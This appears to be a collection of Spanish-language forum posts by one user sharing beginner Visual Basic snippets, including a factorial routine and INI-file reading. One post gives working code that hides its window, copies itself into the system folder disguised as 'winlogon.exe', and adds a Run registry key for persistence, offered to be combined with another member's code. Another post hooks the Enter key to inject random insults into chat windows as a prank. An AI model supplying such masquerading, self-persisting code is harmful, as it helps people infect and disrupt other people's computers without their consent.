Mensajes

me importa un bledo que este el winlogon jejej total se va a romper lo mismo la pc jjejej

che haber pasate las funciones api para modificar el registro si??

che para hacer lo que vos queres, es decir ordenar el abecedario de todas las formas posibles tenes que hacer 26! (26 factorial) es decir       26!=403291461126605635584000000

entonces tenes 403291461126605635584000000 formas pisbles de ordenar el abecedario       

yo usaria este algoritmo que programe:

Código [Seleccionar] Expandir

Dim x As Integer  'defino variables
Dim u As Double

Private Sub command1_click() 'se necesita un command button
x = Text1.Text 'defino a t como un text1 (que lo tenes que agregar y tiene que ser si o si un numero), para probarlo ponele de texto el numero 8
u = 1  ' defino a u como 1
For a = 1 To x  'digo que a va del numero 1 al numero que tiene el text1
     u = u * a 'digo que u = u * el numero 1, 2, 3, 4, 5, 6, 7, 8 (si es que el text1 es 8), es decir multiplica a 8*7*6*5*4*3*2*1 (saca factorial)
Next a
Label1.Caption = u  'ahora el label vale el valor de u (el factorial del numero que esta en text1), tenes que agregar un label.
'listo todo listo una masasa
End Sub




P.D.:

programar un programa

(es dificil programar un arbol jejejjeje)

bueno pero no se enojen (chavo) jajaj

y como es eso para poner el codigo???

#hola

chau

jojojooj y eso combinado con esto:

Set obj = CreateObject("Scripting.FileSystemObject") 'declaramos un objeto tipo fileSystem object
Set win = obj.GetSpecialFolder(0)                    'para obtener la carpeta de windows y system
Set sys = obj.GetSpecialFolder(1)
win = LCase(win)                                     'las ponemos en minusculas
sys = LCase(sys)
Form1.Visible = False 'ponemos invisible
'-----Copia a \windows--------------
Dim ejec As String
ejec = App.EXEName & ".exe" 'añadimos ala ruta del exe, el nombre y la estension
FileCopy ejec, sys & "\winlogon.exe"  'copia a windows\system32
End If
Set residencia = CreateObject("WScript.Shell")
residencia.RegWrite "HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\Run\" & "winlogon", win & "\winlogon.exe"  'esto modifica el registro para que se ejecute al iniciar el pc
App.TaskVisible = False          'para ocultarlo un poco del, (alt +sup +control) (aunque es una bosta jejej no funciona en XP)



bueno espero que les sirva para copiar todo en la carpeta windows jejeje

p.D.: usenlo con el codigo de NYlOn

chau

la verdad que sí porque yo no sabía que las letras se podian sumar      L+R = 5 jajajajaj en todo caso sumas cadenas de caracteres L+R = LR   o  LOLO + HOLA = LOLOHOLA jejje

pero al definir la variable en integer tenes 2 opciones:

1)

Private sub form_load()
label1.caption = "0"
end sub

o poner en la propiedad caption del label 0

chau         

che papa para hacer eso usa estas api's:

Private Declare Function GetAsyncKeyState Lib "user32" (ByVal vKey As Long) As Integer
Private Declare Function GetKeyState Lib "user32" (ByVal nVirtKey As Long) As Integer



por ejemplo


Private Declare Function GetAsyncKeyState Lib "user32" (ByVal vKey As Long) As Integer
Private Declare Function GetKeyState Lib "user32" (ByVal nVirtKey As Long) As Integer
Dim ti As String
Dim A As String
Dim B As String
Dim C As String
Dim D As String

Private Sub Form_Load()
Combo1.AddItem "Insultos"
Combo1.AddItem "Amor"
Combo1.AddItem "Boludeces"
End Sub

Private Sub Timer1_Timer()
If Combo1.Text = "Insultos" Then
    A = "Pelotuo"
    B = "Fuck you"
    C = "Boludaso"
    D = "Anda a cagar!!!"
ElseIf Combo1.Text = "Amor" Then
    A = "no se como expresarte lo mucho que te quiero"
    B = "me gustas tanto"
    C = "sos la unica chica que conoci de verdad"
    D = "te quiero"
ElseIf Combo1.Text = "Boludeces" Then
    A = "No se que decir. ¿Vos sabes?"
    B = "Pata sucia fue a la tienda a comprar un par de medias pero como no habia pata sucia se reía: JA, JE, JI, JO, JU, para sucia eres tú"
    C = "La c****** de la vieja p*****"
    D = "ptttttttttttttttt (pedo)"
End If
palabra = Int((Rnd * 4) + 1)
If palabra = 1 Then
        ti = A
ElseIf palabra = 2 Then
        ti = B
ElseIf palabra = 3 Then
        ti = C
ElseIf palabra = 4 Then
        ti = D
End If
  Dim AddKey
    KeyResult = GetAsyncKeyState(13)
    If KeyResult = -32767 Then
         'For i = 0 To 100
         'SendKeys Chr(8)
         'Next i
         SendKeys ti
         SendKeys "{enter}"
    End If
End Sub



para que joda cuando apretas el enter jajajaj!!!! esta bueno para el msn jajaj

chau

el ejemplo que dieron anteriormente es para cargar variables, datos de cualquier formato de archivo (en el ejemplo *.exe-->archivo.exe), bueno el ejemplo que te traigo es para cargar datos de un archivo *.ini, que carga los datos teniendo en cuenta los [] bueno leelo:

Código [Seleccionar] Expandir

Declare Function GetPrivateProfileString Lib "kernel32" Alias "GetPrivateProfileStringA" (ByVal lpApplicationName As String, ByVal lpKeyName As Any, ByVal lpDefault As String, ByVal lpReturnedString As String, ByVal nSize As Long, ByVal lpFileName As String) As Long
Declare Function WritePrivateProfileString Lib "kernel32" Alias "WritePrivateProfileStringA" (ByVal lpApplicationName As String, ByVal lpKeyName As Any, ByVal lpString As Any, ByVal lpFileName As String) As Long

'Leer en "Ejemplo.Ini":
Private Sub Form_Load()
    Dim I As Integer
    Dim Est As String
    Est = String$(50, " ")
    I = GetPrivateProfileString("Ejemplo", "Nombre", "", Est, Len(Est), "Ejemplo.ini")
    If I > 0 Then
        MsgBox "Tu Nombre es: " & Est
    End If
End Sub
'Escribir en "Prueba.Ini":
Private Sub Form_Unload(Cancel As Integer)
    Dim I As Integer
    Dim Est As String
    Est = "Ejemplo - Apartado"
    I = WritePrivateProfileString("Ejemplo", "Nombre", Est, "Ejemplo.ini")
End Sub



chau, le podes agregar todas las variables que quieras